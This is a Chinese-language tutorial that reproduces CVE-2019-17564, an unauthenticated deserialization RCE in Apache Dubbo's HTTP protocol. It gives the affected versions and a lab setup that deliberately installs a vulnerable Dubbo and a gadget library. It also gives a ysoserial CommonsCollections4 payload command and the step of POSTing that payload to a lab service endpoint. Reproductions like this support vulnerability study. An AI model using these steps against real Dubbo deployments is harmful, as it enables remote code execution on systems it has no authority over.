1.Dubbo框架简介
Dubbo是⼀个⾼性能服务框架,致⼒于提供⾼性能和透明化的RPC远程服务调⽤⽅案,以及SOA服务治理⽅案,使得应⽤可通过⾼性能RPC实现服务的输出和输⼊功能,和Spring框架可以⽆缝集成。作为⼀个分布式服务框架,以及SOA治理⽅案,Dubbo其功能主要包括:1.⾼性能NIO通讯及多协议集2.成服务动态寻址与路由3.软负载均衡与容错4.依赖分析与服务降级具体看这篇⽂章:https://www.jianshu.com/p/0daf78e14dcf
2.CVE-2019-17564
1.漏洞简介
Apache Dubbo⽀持多种协议,推荐官⽅使⽤Dubbo协议。Apache Dubbo HTTP协议中的⼀个反序
列化漏洞(CVE-2019-17564),漏洞该主要原因的在于当Apache Dubbo启⽤HTTP协议之后,Apache Dubbo对HTTP数据处理不当:对数据编码、序列化、反序列化,利⽤Spring HTTP Invoker框架处理,未经任何检查直接反序列化数据,当项⽬包中存在可⽤的gadgets时即可导致远程代码执⾏。
2.影响范围
2.7.0 <= Apache Dubbo <= 2.7.4.1
2.6.0 <= Apache Dubbo <= 2.6.7
Apache Dubbo = 2.5.x
3.环境搭建
dubbo-demo:https://github.com/apache/dubbo-samples/tree/master/java/dubbo-samples-http ⽤idea打开后,需要修改pom.xml⽂件中的<dubbo.version>,将版本改为存在漏洞的2. 7. 3
我们再往⾥⾯添加本地触发gadgets,这⾥导⼊commons-collections4-4.0恶意类依赖。
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
由于dubbo启动还依赖zookeeper,因此我们还需要安装zookeeperhttps://apache.website-solution.net/zookeeper/zookeeper-3.6.2/apache-zookeeper-3.6.2-bin.tar.gz运⾏zookeeper之前,我们还需要修改⼀些配置⽂件:将zookeeper的conf⽬录下的zoo_sample.cfg⽂件改成zoo.cfg并修改其中的两个参数
然后cd到zookeeper的 bin⽬录下./zkServer.sh start 启动zookeeper 随后启动dubbo项⽬中的HttpProvider出现下图红框中的提⽰,则证明环境搭建成功。
4.漏洞复现
我们⾸先⽤yso 来⽣成⼀个序列化的payload:
java-jarysoserial-0.0.6-SNAPSHOT-all.jarCommonsCollections4"deepin-calculator">/tmp/payload.ser
而后⽤postman往
http://192.168.199.246:8090/org.apache.dubbo.samples.http.api.DemoService
POST我们⽣成的
payload.ser